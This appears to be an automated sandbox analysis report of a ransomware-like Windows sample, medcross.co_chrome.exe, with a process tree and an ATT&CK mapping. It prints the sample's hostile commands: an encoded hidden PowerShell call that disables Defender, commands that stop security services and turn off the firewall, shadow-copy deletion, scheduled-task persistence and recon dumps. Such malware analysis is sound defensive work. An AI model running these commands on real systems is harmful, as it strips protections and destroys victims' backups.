PID 704 wrote to memory of 4756	704	medcross.co_chrome.exe	148
PID 704 wrote to memory of 2544	704	medcross.co_chrome.exe	149
PID 704 wrote to memory of 1092	704	medcross.co_chrome.exe	157
PID 704 wrote to memory of 4376	704	medcross.co_chrome.exe	158
PID 704 wrote to memory of 3792	704	medcross.co_chrome.exe	159
PID 704 wrote to memory of 2956	704	medcross.co_chrome.exe	160
PID 704 wrote to memory of 5032	704	medcross.co_chrome.exe	161
PID 704 wrote to memory of 3020	704	medcross.co_chrome.exe	162
PID 704 wrote to memory of 4788	704	medcross.co_chrome.exe	163
PID 2948 wrote to memory of 3448	2948	cmd.exe	170
PID 3200 wrote to memory of 4640	3200	cmd.exe	171
PID 5792 wrote to memory of 264	5792	cmd.exe	172
PID 2956 wrote to memory of 1404	2956	net.exe	173
PID 2796 wrote to memory of 3416	2796	cmd.exe	191
PID 264 wrote to memory of 1220	264	net.exe	175
PID 4508 wrote to memory of 1228	4508	cmd.exe	176
PID 2944 wrote to memory of 2644	2944	cmd.exe	177
PID 4756 wrote to memory of 3184	4756	cmd.exe	178
PID 2948 wrote to memory of 3484	2948	cmd.exe	179
PID 4100 wrote to memory of 4992	4100	chrome.exe	180
PID 4100 wrote to memory of 3468	4100	chrome.exe	181
PID 4100 wrote to memory of 5976	4100	chrome.exe	182
PID 4100 wrote to memory of 3468	4100	chrome.exe	181
PID 4100 wrote to memory of 5976	4100	chrome.exe	182

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
"C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe"
1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:704
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe" http://medcross.co
  2⤵
  - Enumerates system info in registry
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of FindShellTrayWindow
  - Suspicious use of SendNotifyMessage
  - Suspicious use of WriteProcessMemory
  PID:4100
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x128,0x12c,0x130,0x104,0x134,0x7ffa8791c728,0x7ffa8791c734,0x7ffa8791c740
    3⤵
    PID:1856
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1616,i,10027457432853098065,1289729836498111992,262144 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=1880 /prefetch:2
    3⤵
    PID:3180
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1464,i,3380134022716767019,12364332851217674907,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=2184 /prefetch:11
    3⤵
    - System Time Discovery
    PID:5740
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2276,i,11823880999928922391,933990188253015388,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=2608 /prefetch:13
    3⤵
    PID:4540
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3144,i,16795306657567243946,6501880391606657657,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=3244 /prefetch:1
    3⤵
    PID:3376
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3152,i,6048673644895551299,8102708564593949722,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=3264 /prefetch:1
    3⤵
    PID:5128
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=4648,i,817327092571859995,10492837667552487301,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=4664 /prefetch:14
    3⤵
    PID:1288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4836,i,13906606666734875308,3405633106763506157,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=4856 /prefetch:1
    3⤵
    PID:5692
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5496,i,11469410643766335082,2384234355238405473,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5500 /prefetch:14
    3⤵
    PID:4992
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --metrics-shmem-handle=5568,i,14799149812146918357,9767890259204594877,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5600 /prefetch:1
    3⤵
    PID:3468
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --metrics-shmem-handle=5560,i,14677760463619403838,15072661994653154434,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5620 /prefetch:1
    3⤵
    PID:5976
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --metrics-shmem-handle=5884,i,4520916524804402426,13940390001444214085,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5848 /prefetch:1
    3⤵
    PID:4124
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=5904,i,10810672131988636780,15180647020508583032,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5636 /prefetch:14
    3⤵
    PID:2060
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --metrics-shmem-handle=5932,i,5060020125993536623,3641383737862608838,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5560 /prefetch:1
    3⤵
    PID:900
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=15 --metrics-shmem-handle=3436,i,3678333788576813926,18350236448259867183,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5808 /prefetch:1
    3⤵
    PID:1912
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=16 --metrics-shmem-handle=6072,i,12423645922897497772,12914852369938920916,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5932 /prefetch:1
    3⤵
    PID:1288
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=unzip.mojom.Unzipper --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=6064,i,10085134289669300575,5069209881617661186,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5616 /prefetch:14
    3⤵
    PID:308
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=18 --metrics-shmem-handle=3460,i,5851806766854712148,1079695480940105073,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=6008 /prefetch:1
    3⤵
    PID:3416
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=19 --metrics-shmem-handle=3448,i,17024523955917159504,12012142771032706373,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5284 /prefetch:1
    3⤵
    PID:2160
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=3492,i,2365937049378182476,7887290334358830419,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=6020 /prefetch:14
    3⤵
    PID:3000
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --metrics-shmem-handle=5816,i,13879687624066034502,7751415227385383404,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=3448 /prefetch:1
    3⤵
    PID:5484
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --metrics-shmem-handle=5692,i,17499752634843342436,953859037390172053,2097152 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5672 /prefetch:9
    3⤵
    PID:5944
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5804,i,8631135309925895570,8358571861730498783,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=6192 /prefetch:14
    3⤵
    PID:5240
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=4744,i,10181167347602489541,7920314673518577104,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=5576 /prefetch:14
    3⤵
    PID:4908
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5544,i,15667916801090181950,658855510191072632,524288 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=6104 /prefetch:14
    3⤵
    PID:5368
- - C:\Program Files\Google\Chrome\Application\chrome.exe
    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.26100.1301 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1232,i,2347974637193919923,8356395529277825741,262144 --field-trial-handle=1884,i,6627122170416454535,5954734752053754288,262144 --variations-seed-version --mojo-platform-channel-handle=888 /prefetch:10
    3⤵
    PID:4320
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5004
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:1464
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config wscsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1480
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop SecurityHealthService
  2⤵
  - Launches sc.exe
  PID:5732
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
  2⤵
  - Launches sc.exe
  PID:4476
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2816
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:5900
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop MsMpSvc
  2⤵
  - Launches sc.exe
  PID:360
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1568
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5092
- - C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe"
    3⤵
    PID:4188
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wscsvc
  2⤵
  - Launches sc.exe
  PID:3560
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1572
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:612
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1716
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:4400
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:5040
- - C:\Windows\System32\Conhost.exe
    \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
    3⤵
    PID:4188
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe" /sc minute /mo 30 /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:4620
- C:\Windows\System32\notepad.exe
  "C:\Windows\System32\notepad.exe"
  2⤵
  PID:2920
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2948
- - C:\Windows\system32\vssadmin.exe
    vssadmin delete shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:3448
- - C:\Windows\System32\Wbem\WMIC.exe
    wmic shadowcopy delete
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:3484
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:3200
- - C:\Windows\system32\systeminfo.exe
    systeminfo
    3⤵
    - Gathers system information
    PID:4640
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\system32\tasklist.exe
    tasklist
    3⤵
    - Discovers running processes
    PID:2644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2796
- - C:\Windows\system32\whoami.exe
    whoami
    3⤵
    PID:3416
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5792
- - C:\Windows\system32\net.exe
    net user
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:264
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 user
      4⤵
      PID:1220
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4508
- - C:\Windows\system32\ipconfig.exe
    ipconfig /all
    3⤵
    - Gathers network information
    PID:1228
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4756
- - C:\Windows\system32\NETSTAT.EXE
    netstat -an
    3⤵
    - Gathers network information
    PID:3184
- C:\Windows\SYSTEM32\schtasks.exe
  "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe" /sc daily /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2544
- C:\Windows\System32\wscript.exe
  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
  2⤵
  - Executes a VBScript file via the Windows Script Host.
  PID:1092
- C:\Windows\System32\vssadmin.exe
  "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
  2⤵
  - Interacts with shadow copies
  PID:4376
- C:\Windows\System32\wbem\WMIC.exe
  "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:3792
- C:\Windows\System32\net.exe
  "C:\Windows\System32\net.exe" stop srservice
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2956
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 stop srservice
    3⤵
    PID:1404
- C:\Windows\System32\netsh.exe
  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
  2⤵
  - Modifies Windows Firewall
  - Event Triggered Execution: Netsh Helper DLL
  PID:5032
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
  2⤵
  - Launches sc.exe
  PID:3020
- C:\Windows\System32\sc.exe
  "C:\Windows\System32\sc.exe" stop i8042prt
  2⤵
  - Launches sc.exe
  PID:4788

C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
"C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
1⤵
PID:3348

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3860

C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
1⤵
PID:2300

C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
C:\Users\Admin\AppData\Local\Temp\medcross.co_chrome.exe
1⤵
PID:1944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
1⤵
PID:1516

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
1⤵
- Modifies data under HKEY_USERS
PID:4676

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{AB8902B4-09CA-4BB6-B78D-A8F59079A8D5}
1⤵
PID:3560

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

System Services

T1569

Service Execution

T1569.002

Windows Management Instrumentation

T1047

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Create or Modify System Process

T1543

Windows Service

Event Triggered Execution

T1546

Image File Execution Options Injection

T1546.012

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Direct Volume Access

T1006

Impair Defenses

T1562

Disable or Modify System Firewall

T1562.004

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

Query Registry

T1012

System Information Discovery